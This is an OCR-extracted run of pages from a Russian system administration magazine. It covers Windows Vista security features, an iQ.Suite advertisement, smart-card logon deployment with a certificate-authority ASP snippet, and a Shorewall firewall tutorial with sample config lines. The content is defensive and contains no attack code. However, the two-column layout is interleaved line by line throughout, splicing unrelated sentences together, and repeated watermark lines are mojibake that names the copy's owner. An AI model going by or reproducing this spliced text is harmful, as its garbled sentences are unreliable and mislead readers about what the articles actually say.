темы и выполнения базовых повсед- UAC переопределяет список стан- ям работать с правами стандартного
невных задач. дартных возможностей пользовате- пользователя без модификаций пу-
Такой подход существенно облег- ля путем включения в него множест- тем предоставления им специальной
чал жизнь как самим пользователям, ва базовых функций, которые не не- платформы, которая помогает послед-
так и специалистам техподдержки (хо- сут риска нарушения безопасности, ним обойтись без использования ад-
тя бы отчасти), ведь для установки ка- хотя раньше требовали администра- министративных привилегий в обыч-
ких-либо дополнительных приложений тивных привилегий (например, изме- ных ситуациях.
или внесения изменений в настройки нение временной зоны, настройки сис- Например, чтобы обеспечить нор-
не требовалось привлекать обладате- темы управления питанием, добавле- мальную работу приложений, требую-
лей административных прав, все мож- ния устройств при условии, что драй- щих для своего выполнения админис-
но было сделать самостоятельно. веры к ним уже установлены в систе- тративных привилегий, Windows Vista
Но по этой же причине на рабочую ме, и другие действия). содержит механизм виртуализации
станцию, на которой пользователь ра- UAC также помогает контролиро- файловой системы и реестра. Данный
ботал, под учетной записью с адми- вать доступ к ценной информации, на- механизм перенаправляет запросы
нистративными правами могло внед- ходящейся в папке «Мои документы». чтения и записи из защищенных облас-
ряться вредоносное ПО, которое мог- Теперь если пользователь не являет- тей в какое-либо место внутри профи-
ло использовать системные привиле- ся создателем файла, он не сможет ля пользователя, таким образом, при-
гии для повреждения файлов, изме- его ни прочесть, ни изменить, ни уда- ложение работает корректно, не влияя
нения конфигурации (например, от- лить, то есть, другими словами, дос- на ресурсы других пользователей или
ключение межсетевого экрана), кра- туп к файлам других пользователей систему в целом.
Улучшения в EFS
(Encrypting File System)
Шифрующая файловая система уже присутствовала
в предыдущих версиях операционных систем семейства
Windows, однако теперь Windows Vista EFS поддерживает
хранение пользовательских ключей и ключей восстанов-
ления на смарт-картах.
Кроме этого, EFS в Windows Vista может быть исполь-
зована для шифрования файла подкачки (эта опция мо-
жет быть активирована системным администратором че-
рез групповую политику), что тоже существенно усилива-
ет общую защиту системы, так как теперь злоумышленни-
ки не смогут воспользоваться содержимым файла подкач-
ки, в котором могут находиться конфиденциальные данные,
Рисунок 2. Интерфейс для работы с EFS используемые приложениями.
Кэш на стороне клиента, в котором сохраняются копии
В случае если вы не уверены, будет ли то или иное при- документов с файлового сервера, также может быть за-
ложение работать с правами определенного пользователя, шифрован с помощью EFS. В этом случае даже локальный
Windows Vista предлагает ряд инструментов, технологий администратор, не обладая пользовательским секретным
и ресурсов, чтобы помочь производителям составлять но- ключом, не сможет расшифровать файлы пользователя.
вые программы, корректно работающие под UAC. Также в «Групповой Политике» появился ряд новых оп-
Например, инструмент Standard User Analyzer [2] позво- ций, по поддержке EFS. К ним относятся опции включения
ляет определить, будет ли корректно работать то или иное возможности шифрования файла подкачки, сохранения
приложение с правами стандартного пользователя или же ключей на смарт-картах, ограничения минимальной дли-
нет. ны ключа и т. д.
Кроме вышеперечисленного, существует возмож-
Контроль USB-устройств ность «прозрачного» шифрования пользовательских фай-
Еще одним источником проникновения в систему вредо- лов при сохранении их на файловом сервере Windows
носного кода являются различные USB-накопители. Бес- Server 2008. При этом файл шифруется в процессе копиро-
контрольное использование в организации флешек может вания незаметно для пользователя. Такая операция необхо-
привести к утечке конфиденциальной информации и дру- дима в тех ситуациях, когда нет доверия к серверу. Но шиф-
гим малоприятным последствиям. рующая файловая система доступна не во всех редакци-
Также самовольное подключение пользователями USB- ях Windows Vista. EFS доступна в версиях Windows Vista
устройств, таких как принтеры или сканеры, могло привес- Business, Enterprise и Ultimate.
ти к нестабильной работе системы при использовании не-
корректной версии драйверов. Заключение
При работе с предыдущими версиями Windows админис- На этом я завершаю первую часть статьи. Практическую
траторам приходилось использовать программное обеспе- пригодность новых функций безопасности покажет вре-
чение от сторонних производителей. мя. Ну а во второй части мы поговорим о новом средстве
Однако в ОС Windows Vista реализован гибкий меха- контроля Parental Control, Bitlocker, NAP и других нововве-
низм контроля использования USB-устройств. Посредством дениях.
«Групповой Политики Windows» Vista позволяет системным
администраторам блокировать установку неавторизован- 1. Статья о новшествах безопасности Windows Vista – http://
ных USB-устройств в компьютер. www.microsoft.com/rus/smallbusiness/issues/sgcv2/security-
Данная политика может применяться как к отдельному guidance-centre/vistasecurity.mspx.
компьютеру, так и к множеству компьютеров по всей сети. 2. Standard User Analyzer – http://technet.microsoft.com/en-us/library/
У администраторов в руках находится весьма гибкий инс- cc766021.aspx.
трумент по настройке политики запрета USB-устройств. 3. Касперски К. Судьба shell-кода на системах с неисполняемым
Например, можно разрешить установку только опреде- стеком. //Системный администратор, №1, 2006 г. – С. 66‑74
ленного класса устройств, таких как принтеры, запретить (http://www.samag.ru/art/01.2006/01.2006_11.html).
установку любых типов USB-накопителей или установку 4. Информация о ПО, сертифицированном по Common Criteria –
любых неавторизованных устройств. http://www.commoncriteriaportal.org/products_OS.html#OS.
44
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
на правах рекламы
В
IT-инфраструктуре современно- и индексированию, разграничения их, экономия на обучении. Обучают-
го бизнеса основной вес имеет доступа к информации на основе кон- ся только сотрудники, непосредствен-
электронная почта. тентных правил. но занимающиеся администрировани-
Объем электронной деловой пере- iQ.Suite доступна для ведущих плат- ем, нет необходимости обучать рядо-
писки современного предприятия пос- форм – Lotus Domino, Microsoft Exchange вых пользователей, поскольку они не
тепенно, но неумолимо устремляется и шлюзов SMTP. Применение iQ.Suite сталкиваются с программой. В‑чет-
в область астрономических величин. поможет оптимизировать работу вашей вертых, сотрудники компании больше
И ведь, если разобраться, большая электронной почты, повысить произво- не отвлекаются от работы на пересыл-
часть этого объема – хлам. Либо од- дительность труда, сократить расходы ку различных файлов развлекательно-
на и та же информация хранится в со- и обеспечить правовую защиту. го характера, что приводит к повыше-
тнях и тысячах копий в почтовых ящи- Факторы экономии можно разде- нию эффективности труда, увеличе-
ках сотрудников, либо серверы забиты лить на два блока: административный нию чистого рабочего времени.
не отфильтрованным спамом, а чаще – и продуктовый. Экономия благодаря продуктовым
и то, и другое. Практика показывает, Для начала расскажем об админис- преимуществам складывается из сле-
что объем хранимых данных, поступа- тративных возможностях сокращения дующего. Во-первых, это серверное
ющих по электронной почте можно со- расходов. Во-первых, комплексность решение с централизованным управ-
кратить на три четверти. А это означает решения позволяет приобрести пол- лением всеми функциями почтовой
сокращение стоимости хранения и ре- ный пакет программ для безопаснос- системы, что позволяет снизить за-
зервирования данных через сокраще- ти почтовых систем у одного разработ- траты на поддержание сети. Во-вто-
ние времени, требуемого для их обра- чика, что экономит затраты на работу рых, системное использование – мно-
ботки, и снижение количества носите- с несколькими поставщиками, и поз- гие функции (антивирус, антиспам,
лей. А если сотрудники не будут тратить воляет получить более выгодную стои- шифрование, архивирование...) рабо-
драгоценное время на разбор поступа- мость решения. Во-вторых, сниженные тают в едином потоке на уже имею-
ющего спама, то мы можем смело удва- риски возникновения проблем с тех- щейся инфраструктуре, благодаря че-
ивать объем сэкономленных средств. нической поддержкой, более опера- му отпадает необходимость в дополни-
Необходимость в централизован- тивное решение технических вопро- тельном оборудовании и его обслужи-
ном решении, которое охватывает сов. Клиенты по всем вопросам, свя- вании. В‑третьих сокращение объема
все аспекты безопасности, приобре- занным с безопасностью е-mail-комму- хранимых данных, что приводит к сни-
тает сегодня всё большее значение. никаций, архивированием и защитой жению затрат на приобретение дис-
Компания GROUP Technologies пред- от вирусов, общаются с одним партне- ковых накопителей для хранения дан-
лагает продукт iQ.Suite который пред- ром, а не с несколькими разработчика- ных, резервное хранение, оборудова-
ставляет собой всестороннее реше- ми, пытающимися свалить вину друг ние для архивации.
ние для полного и действительно на- на друга. Это обеспечивает высокое Сайты: group-technologies.com,
дежного управления электронной кор- качество технической поддержки, вы- iqsuite.ru, avira-antivir.ru.
респонденцией. сокую скорость реакции, незначитель-
iQ.Suite сочетает в себе возмож- ное время остановки системы, что при- Алексей Демин, Ирина Абалихина
ности антивирусной защиты и защи- водит к быстрому
ты от спама на базе известных антиви- решению пробле-
русных продуктов Avira Antivir и Sophos, мы и снижает из-
архивации почты, ее классификации держки. В‑треть-
Внедряем смарт-карты
в домене
Станислав Шпак
Смарт-карты – это не только усиление безопасности, но и лишняя статья расходов в бюджете
IT-отдела, а также дополнительная работа для системного администратора. Но если вы
все‑таки решили начать использовать смарт-карты в вашем домене или его части, то давайте
посмотрим, как это сделать и как избежать некоторых проблем и ошибок.
В
прошлом году в «Системном ся переход на двухфакторную провер- имеете. Классическая аутентифика-
администраторе» я рассмат- ку подлинности пользователя при вхо- ция обычно ограничивается только
ривал процесс развертывания де в домен, хотя возможности смарт- первым компонентом, в качестве ко-
системы PKI в домене [1-3]. Опираясь карты этим не ограничиваются. Двух- торого применяется пароль, который
на эту структуру, сейчас рассмотрим факторная аутентификация подра- пользователь предъявляет при вхо-
процесс внедрения смарт-карт в до- зумевает наличие двух компонентов: де в систему. Смарт-карта в этом про-
мене. Основной целью будет являть- что-то, что вы знаете, и что-то, что вы цессе представляет собой второй ком-
46
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
понент, при этом первый – это PIN-код, сов смарт-карты (Smart Card Resource
который пользователь должен ввести Manager (Win32API)) → Драйвер карт-
после помещения карты в карт-ридер ридера → Карт-ридер → Смарт-карта».
(см. рис. 1). В этой цепочке между приложе-
Существуют две категории смарт- нием и менеджером ресурсов (ко-
карт: карты памяти и микропроцес- торый представляет собой Windows-
сорные карты. Первая категория со- компонент) располагаются постав-
Рисунок 1. Диалог входа в Windows
держит только энергонезависимую па- щик служб смарт-карты и, в частности, при использовании смарт-карты
мять, вторая – еще и микропроцессор. его подмножество: «поставщик служб
Любой крупный производитель смарт- криптографии» (CSP – Cryptography n драйверы карт-ридера и програм-
карт выпускает карты обоих типов, по- Service Provider). Это программный мное обеспечение смарт-карты;
этому обращайте внимание на специ- компонент, который должен быть на- n развернутая в домене инфраструк-
фикацию. Микропроцессорные кар- писан производителем смарт-кар- тура открытого ключа (подразуме-
ты, кроме хранения информации, мо- ты с помощью программного интер- вает наличие хотя бы одного цент-
гут еще производить различные вы- фейса Microsoft CryptoAPI. В стан- ра сертификации уровня предприя-
числительные операции. Нас интере- дартную комплектацию Windows XP тия (enterprise CA);
сует подмножество микропроцессор- и 2003 входит поддержка CSP толь- n н а л и ч и е с е р т и ф и к а т о в т и п а
ных карт – криптографические карты ко для шести моделей смарт-карт от enrollment agent (агент подачи за-
(микропроцессорные карты, произво- трех производителей (Gemplus, Infineon явок), позволяющих выпускать сер-
дящие криптографические операции). и Schlumberger). Таким образом, мы тификаты от имени других пользо-
Они существенно повышают безопас- приходим к тому, что в среде Windows вателей.
ность системы, так как в этом случае поддерживаются только смарт-кар-
закрытый ключ (private key) не покида- ты, CSP которых был разработан с ис- Теперь рассмотрим подробно все
ет пределы смарт-карты. пользованием MS CryptoAPI и установ- вышеперечисленные пункты, кроме,
Обычная смарт-карта по форм-фак- лен в системе. разве что, Active Directory.
тору представляет собой аналог бан- Поскольку вряд ли вам удастся при- Минимум настроек, который может
ковской пластиковой карточки. Считы- обрести смарт-карты вышеназванных понадобиться, мы рассмотрим в кон-
вание данных с такой смарт-карты про- моделей, то важный вывод, который це статьи.
изводится специальным устройством – мы сделаем здесь и к которому еще
«смарт-карт-ридером», в который поме- вернемся позже: кроме смарт-карты, Выбор смарт-карты
щается смарт-карта. В настоящее вре- потребуется еще и CPS для нее, ина- и подготовка компьютера
мя все шире используется другой вари- че Windows не сможет с ней работать. Для начала нам надо определиться, ка-
ант исполнения смарт-карты – USB-то- В этом случае вы получите ошибку: кой тип смарт-карты мы хотим исполь-
кен. Внешне он очень похож на обыч- «The card supplied requires drivers that зовать. Будут ли это обычные пласти-
ный USB-флеш-накопитель: совмеща- are not present on this system. Please try ковые смарт-карты, либо USB-токен,
ет в себе смарт-карту плюс карт-ридер another card». (Имеющаяся плата тре- и какой объем памяти должен быть
и вставляется непосредственно в USB- бует наличия драйверов, отсутствую- на смарт-карте. Имейте в виду, что око-
разъем компьютера без каких-то до- щих в системе. Попробуйте использо- ло 16 Кб будет занимать операционная
полнительных устройств. USB-токен вать другую плату.) система смарт-карты, а место, занима-
кажется удобнее, однако на обычную Опустим особенности перевода емое пользовательским сертифика-
смарт-карту можно нанести информа- слова «card» как «плата», из-за кото- том, будет зависеть от длины ключа.
цию о сотруднике и использовать еще рого смысл ошибки на русском язы- Конечно, даже на смарт-карте с 32 Кб
и как удостоверение личности. Какой ке несколько искажается. Кроме то- памяти хватит места для размеще-
вариант лучше – решать вам, каждый го, смарт-карту перед использовани- ния сертификата пользователя, одна-
имеет свои плюсы и минусы, причем ем надо инициализировать – штатных ко не надо забывать, что на ней мож-
в зависимости от условий примене- средств для этого в Windows также не но хранить и дополнительные данные.
ния. Например, в случае использования предусмотрено, поэтому вопрос со- Для пробы я решил воспользоваться
USB-токенов нет необходимости обору- путствующего программного обеспе- обоими видами смарт-карт и приобрел
довать рабочие места смарт-карт-риде- чения надо оговаривать с поставщи- 64 Кб смарт-карту Siemens и USB-карт-
рами, и это может быть как плюсом, так ком смарт-карт заранее. ридер для нее, а также 64 Кб USB-то-
и минусом. Все, о чем будет говориться Перейдем от теории к практике. кен Charismatic. В комплектацию пос-
далее в статье, одинаково применимо Для того чтобы в нашем домене мож- тавки пластиковой смарт-карты входи-
как к обычным «пластиковым» смарт- но было входить в систему с исполь- ла только сама карта, а к токену еще
картам, так и к USB-токенам. зованием смарт-карт, нам потребуют- прилагался комплект ПО. Карт-ридер
Приложения в Windows работают ся следующие компоненты: также поставлялся без драйверов, од-
со смарт-картами по следующей це- n Active Directory; нако на сайте продавца были все не-
почке [4]: «Приложение → Поставщик n микропроцессорная смарт-карта обходимые ссылки на сайт производи-
служб для смарт-карты (Smart Card (плюс смарт-карт ридер) или USB- теля, где без труда удалось раздобыть
Service Provider) → Менеджер ресур- токен; драйвер для Windows XP.
48
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
го вами шаблона имеются права Enroll (выпуск) для домен- веб-страницу СА. Оказалось, что проблема кроется в фай-
ной группы EnrollmentAgent. ле certrqad.asp, который находится в %SYSTEMROOT%\
system32\certsrv. При сравнении этого файла между тес-
Выпуск смарт-карты товым и корпоративным СА оказалось, что в рабочем от-
Для выпуска смарт-карты на рабочую станцию, у которой сутствует следующий раздел:
есть право Enroll для шаблона Enrollment Agent (Computer),
в систему должен войти пользователь, имеющий право <% If bNewThanNT4 And "Enterprise"=sServerType Then %>
<TR>
Enroll для шаблона Enrollment Agent. Далее через веб-ин- <TD><Img Src="certspc.gif" Alt="" Height=10 ↵
терфейс нужно обратиться к центру сертификации (в на- Width=1></TD>
</TR>
шем случае это адрес http://EntCA/certsrv, где EntCA – имя <TR>
сервера). Имеет смысл предварительно добавить этот ад- <TD><A Href="certsces.asp"><LocID ID=locLblSmartcard>
Request a certificate for a smart card on behalf ↵
рес в список доверенных узлов в настройке безопасности of another user
браузера, иначе потом можно столкнуться с блокировани- by using the smart card certificate enrollment ↵
station.</LocID></A>
ем ActiveX-компонента. <LocID ID=locAdminWarn><Font Size=-1><BR>
На открывшейся странице из списка предложенных ва- Note: You must have an enrollment agent certificate ↵
to submit a
риантов надо выбрать Request a certificate (запрос серти- request on behalf of another user.</Font></LocID>
фиката), тем самым перейдя на страницу с тремя пункта- </TD>
</TR>
ми, последний из которых Request a certificate for a smart <%End If%>
card on behalf of another user by using the smart card certificate
enrollment station (запросить сертификат для смарт-карты В статье [3] я писал о том, что СА под управлением
от имени другого пользователя, используя станцию пода- Windows Server 2003 не совместим с Windows Vista, и гово-
чи заявок смарт-карт). Остановимся в этом месте подроб- рил о необходимости установки обновления KB922706 для
нее (см. рис. 3). Windows 2003. Однако, как оказалось, именно после уста-
Я очень много времени провел в поисках причины того, новки этого обновления с веб-страницы СА пропадает пункт
почему на этой странице в моем случае были только первые запроса сертификата для смарт-карты. Решение пробле-
два пункта и отсутствовал третий. Причем в тестовом доме- мы заключается в том, чтобы вручную добавить эту часть
не он был, а в рабочем – нет. Не найдя ничего связного в Ин- в файл certrqad.asp или же восстановить его из соответс-
тернете, пришлось обратиться к файлам, формирующим твующей папки резервной копии, которая создается авто-
Реклама
50
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
Реклама
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Shorewall: iptables
с человеческим лицом
Валентин Синицын
Едва ли можно утверждать, что Linux испытывает недостаток в средствах настройки
межсетевых экранов. Чем же выделяется из них Shorewall? Попробуем разобраться!
О
рганизация шлюза для выхода вероятнее всего, будет выделен обыч- со товарищи все более-менее ясно:
в Интернет – та задача, с кото- ный компьютер под управлением спе- у администратора есть веб-интер-
рой неминуемо сталкивается циализированного (IpCop, Smoothwall, фейс, через который задаются необ-
практически любой администратор. ClarkConnect и т. п.) или универсально- ходимые параметры и активируются
Естественно, для сетей разных раз- го (Debian, Red Hat, …) дистрибутива требуемые сервисы, после чего систе-
меров она будет решаться по-разному, Linux (случай с BSD оставим для дру- ма оказывается способной решать ти-
но в сегменте SOHO для этих целей, гой статьи). При использовании IpCop повые задачи без сколько-нибудь се-
52
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
рьезной настройки. Это очень удобно
и эффективно, до тех пор, пока те са- Устанавливаем Shorewall тельно рекомендую также загрузить и до-
мые задачи не выходят за рамки ти- Из всех крупных дистрибутивов Linux, кументацию: она содержится в архиве
повых. Как только это случается, за- по умолчанию Shorewall включен толь- shorewall-docs-html-4.2.x. А вот shorewall‑lite
частую оказывается проще настро- ко в Mandriva (где он является межсете- пока можете оставить: это облегченный ва-
ить с нуля универсальный дистрибу- вым экраном по умолчанию) и репозито- риант, позволяющий загружать уже гото-
тив, чем перекроить «под себя» спе- рии Debian. Пакеты существуют для Red вые правила, заранее сгенерированные
циализированный. Hat/Fedora и других RPM-дистрибутивов, на отдельном компьютере, но не компи-
Универсальность, в свою очередь, а также Arch Linux. лировать их.
обычно подразумевает несколько воз- Если все это не про вас, установить С зависимостями проблем возникнуть
можных путей решения одной и той же Shorewall можно вручную. Вам потребуется не должно: потребуется достаточно новое
задачи, даже если речь идет о вещах два архива: shorewall-common-4.2.x, содер- ядро и Iptables/iproute2, а также интерпре-
столь обыденных, как настройка меж- жащий файлы, общие для всех разновид- татор Perl с рядом распространенных мо-
сетевого экрана и маршрутизации. ностей Shorewall, и компилятор: shorewall- дулей или Bash. Все подробности можно
Практически все современные дист- perl-4.2.x или shorewall-shell-4.2.x. Настоя- найти в документации.
рибутивы Linux предлагают для этих
целей собственные инструменты реализовать. Надо отметить, что ге- кая единица, объединяющая в себе од-
(как консольные, так и графические), нерируемые Shorewall правила от- нородные (с точки зрения доступа) уз-
но, в принципе, ничего не мешает ис- нюдь не избыточны и грамотно струк- лы сети. Классическими примерами
пользовать iptables/iproute2 и напря- турированы, то есть одной из «обер- зон являются локальная сеть, Интернет
мую. Кроме того, существует как ми- точных проблем» – нечитабельного и демилитаризованная зона DMZ. Как
нимум один универсальный конфигу- вывода – можно не опасаться. Более правило, зоны отображаются на сете-
ратор, подходящий практически к лю- того, все создаваемые в ходе работы вые интерфейсы по принципу 1:1, хо-
бому дистрибутиву, а в Mandriva даже компилятора вспомогательные скрип- тя подобный подход никоим образом
выполняющий роль того самого «соб- ты имеют аккуратные отступы, так что не навязывается.
ственного инструмента» – Shorewall (при желании) в них всегда можно ра- Обмен трафиком между зонами
(www.shorewall.net) Томаса Истепа зобраться. контролируется так называемыми по-
(Thomas M. Eastep). Вот о нем-то мы Из недостатков Shorewall нужно литиками. Естественно, его можно раз-
и поговорим подробнее. отметить некоторую потерю гибкос- решить (ACCEPT), запретить (DROP)
Основная задача Shorewall – пре- ти (по сравнению с использованием или отклонить (REJECT). В последнем
образование высокоуровневой логи- «чистых» iptables/iproute2 ) и, что более случае отправитель получит соответс-
ки работы межсетевого экрана, опи- важно, статичность создаваемой кон- твующее уведомление (RST для TCP
санной в многочисленных конфигура- фигурации. Для внесения каких-либо или ICMP Unreachable для других про-
ционных файлах /etc/shorewall, в низ- изменений (скажем, добавлении пра- токолов). Тонкая настройка произво-
коуровневые правила iptables. В тер- вила фильтрации) нужно отредактиро- дится с помощью правил, представля-
минах Shorewall, такой процесс назы- вать соответствующие файлы (правда, ющих собой исключения из ранее за-
вается «компиляцией» и выполняется это необязательно делать напрямую – данной политики (например, для па-
с помощью «компилятора» – скрипта Shorewall умеет выполнять подстанов- ры зон «DMZ-локальная сеть» име-
на языке оболочки или на Perl. Изна- ки переменных) и выполнить повтор- ет смысл установить политику DROP,
чально Shorewall был написан на чис- ную компиляцию. В некоторых случа- но разрешить соединение с конкрет-
том Shell; Perl-компилятор (Shorewall- ях это может быть неприемлемо. ными системами по определенным
perl) появился в версии 3.4.2 как со- В заключение этого вводного обзо- протоколам прикладного уровня).
путствующий продукт, но в настоящий ра хочу обратить внимание на еще од- Таким образом, настройка Shorewall
момент он уже является более гибким, но преимущество Shorewall – превос- в простейшем случае сводится к сле-
чем исходный вариант, ныне извест- ходную документацию, как справоч- дующим шагам (здесь и далее предпо-
ный как Shorewall-shell. Shorewall-perl ную, так и обучающую. В дистрибути- лагается, что общим корнем для кон-
работает гораздо быстрее «собрата», ве можно найти заготовки конфигура- фигурационных файлов программы
аккуратнее проверяет конфигурацион- ционных файлов для типовых ситуа- является /etc/shorewall; это значение
ные файлы на этапе компиляции (и ге- ций: отдельная машина, шлюз, шлюз может быть переопределено пара-
нерирует более подробные сообще- с DMZ. Исходя из этого обстоятельства, метром CONFIG_PATH в главном кон-
ния об ошибках), поэтому, если у вас я не буду пытаться обогнать указанные фигурационном файле /etc/shorewall/
нет каких-то специальных требований ресурсы в плане подробности изложе- shorewall.conf):
или антипатии к Perl, есть смысл оста- ния, а постараюсь проиллюстрировать n Определить зоны в /etc/shorewall/
новиться именно на нем. подходы к настройке Shorewall в ряде zones.
О с н о в н ы м п р е и м у щ е с т в о м распространенных ситуаций. n Задать политики обмена трафи-
Shorewall является уже упомянутая ком между каждой парой зон в /etc/
выше высокоуровневость: вы сооб- Базовая настройка shorewall/policy.
щаете, что нужно сделать, предоста- Центральной концепцией при настрой- n Указать «списочный состав» зон
вив программе самой решать, как это ке Shorewall является зона – логичес- в /etc/shorewall/interfaces и (в бо-
Комментарии удалены ради экономии места, полный вари- Как нетрудно догадаться, локальная сеть в этом приме-
ант можно найти в указанном выше каталоге Samples. ре подключена к интерфейсу eth1, а выход в Интернет обес-
Перейдем к политикам. В данном случае они сводятся печивается через eth0 (автор предпочитает прямо противо-
к одной-единственной фразе: клиенты из локальной се- положную схему нумерации, но о вкусах не спорят). В ко-
ти могут беспрепятственно обмениваться данными с Ин- лонке BROADCAST задается широковещательный адрес:
тернетом (всякие «аськи» можно «прикрыть» потом, в /etc/ в большинстве случаев система способна узнать его само-
shorewall/rules), весь остальной трафик запрещен, если не стоятельно, а Shorewall-perl и вовсе понимает здесь только
оговорено иное. Иными словами, для пары loc-net установ- два значения: detect и «-». Интерес представляют лишь оп-
лена политика ACCEPT, для всего остального – REJECT. ции – остановимся на них подробнее:
Соответствующий файл /etc/shorewall/policy может выгля- n dhcp – сообщает, что на интерфейсе выполняется DHCP-
деть так: клиент или сервер;
54
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
n tcpflags – предписывает проверять приходящие TCP- Из других опций следует упомянуть optional (простите
пакеты на предмет наличия нелегальных комбинаций за тавтологию), подавляющую ошибку компиляции в случае,
флагов; если интерфейс недоступен при запуске Shorewall (полезно
n routefilter,nosmurfs,logmartians – разные по свое- для PPP-соединений) и routeback, заставляющую весь тра-
му действию, но близкие по духу параметры, застав- фик, пришедший через интерфейс X, возвращаться к от-
ляющие Shorewall обращать внимание на пакеты, ко- правителю через него же (без этого практически не обой-
торых «точно не должно быть на этом интерфейсе». тись в ситуации, когда провайдеров несколько).
Так, пакеты с широковещательным адресом отпра- Наконец, чтобы все это заработало, нужно настроить
вителя отклоняются (nosmurfs), «марсиане» (пакеты маскрадинг. Для этого в файл /etc/shorewall/masq достаточ-
с некорректным исходным адресом) протоколируют- но добавить одну строку:
ся (logmartians). Сюда же можно отнести неисполь-
зованную в данном примере опцию norfc1918, запре- #INTERFACE SOURCE ADDRESS PROTO PORT(S) IPSEC MARK
eth0 eth1
щающую принимать пакеты с немаршрутизируемых
адресов вроде 192.168.0.0/16 (точный список берет- Это может выглядеть странновато, но на самом деле
ся из /etc/shorewall/rfc1918). Параметр routefilter пред- все просто. В колонке INTERFACE указывается исходящий
писывает включить в ядре фильтрацию по маршруту, интерфейс, в нашем случае это eth0 (он, напомню, подклю-
но пользоваться им следует с осторожностью: в схеме чен к Интернету). В поле SOURCE перечисляются адре-
с несколькими исходящими каналами возможны труд- са, для которых нужно применить SNAT-преобразование:
но диагностируемые неполадки. здесь, как и во многих реальных случаях, это просто eth1,
то есть вся локальная сеть скопом. При желании, имя ин-
Стоит отметить, что приведенная схема является воз- терфейса можно заменить явным указанием «серых» ад-
можной, но не самой оптимальной. Например, для net есть ресов (скажем, 192.168.0.0/24). Запретить SNAT для избран-
смысл указать norfc1918 (немаршрутизируемых адресов ных узлов сети можно при помощи следующего синтаксиса:
там не должно быть по определению), а logmartians уста- eth1:!192.168.0.1,192.168.0.3, кстати, он действует и во мно-
новить также и для loc (чтобы вовремя заметить в ней по- гих других конфигурационных файлах Shorewall.
дозрительную активность и подавить ее). В конечном ито- Колонка ADDRESS является необязательной и позво-
ге, все определяется уровнем безопасности и контроля, ко- ляет указать IP-адреса, которые будут использоваться при
торый вы хотите достичь. маскардинге в качестве исходящих (в подавляющем боль-
Реклама
56
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
зрачный прокси-сервер: прием, о порочности которого бы- #ACTION SOURCE DEST PROTO DEST SOURCE ↵
ORIGINAL
ло сказано достаточно много, но тем не менее широко рас- # PORT PORT(S) ↵
пространенный. Неудивительно, что соответствующие на- DEST
DNAT- loc net:1.2.3.4 tcp 25 - ↵
стройки можно найти прямо в примерах на man-странице 192.168.0.1
shorewall-rules(5):
Мы осуществляем прозрачную передачу всех TCP-со-
#ACTION SOURCE DEST PROTO DEST SOURCE ORIGINAL единений на 192.168.0.1:25 серверу с адресом 1.2.3.4 (ис-
# PORT PORT(S) DEST
REDIRECT loc 3128 tcp www - !192.168.0.2 пользовать здесь доменные имена можно, хотя и настоя-
тельно не рекомендуется). Теперь можно сообщить вашим
Действие REDIRECT передает пакет локальному пользователям, что для исходящей почты нужно указать
(для шлюза) процессу, прослушивающему порт, указанный сервер 192.168.0.1 (особые эстеты могут завести для него
в колонке DEST (у нас это 3128 – стандартная настройка доменное имя – при наличии в сети DNS-сервера это зай-
Squid и большинства других HTTP-прокси). Правило удов- мет пару секунд) – и дело в шляпе.
летворяет TCP-соединениям, имеющим в качестве порта Конечно, такой прием имеет ряд ограничений. Во-пер-
назначения 80 (в примере использован псевдоним www, вых, он будет плохо работать в том случае, когда для защиты
заданный в /etc/services), кроме адресованных 192.168.0.2 соединения используются SSL-шифрование (получив сер-
(вероятно, внутреннему веб-серверу). тификат для неожиданного доменного имени, приличный
Рассмотренное выше перенаправление является час- почтовый клиент должен, как минимум, выдать серьезное
тным случаем DNAT-преобразования (в том смысле, что предупреждение), во-вторых, редактировать адрес интер-
REDIRECT можно рассматривать как DNAT на локаль- нет-сервера каждый раз при смене провайдера – дело му-
ный IP-адрес), которое можно применять с самыми разны- торное, неблагодарное и чреватое сбоями («человеческий
ми целями. Например, классический проброс портов (port фактор» рано или поздно даст о себе знать).
forwarding) интернет-соединений на все тот же внутрен- Здесь может пригодиться еще одна особенность
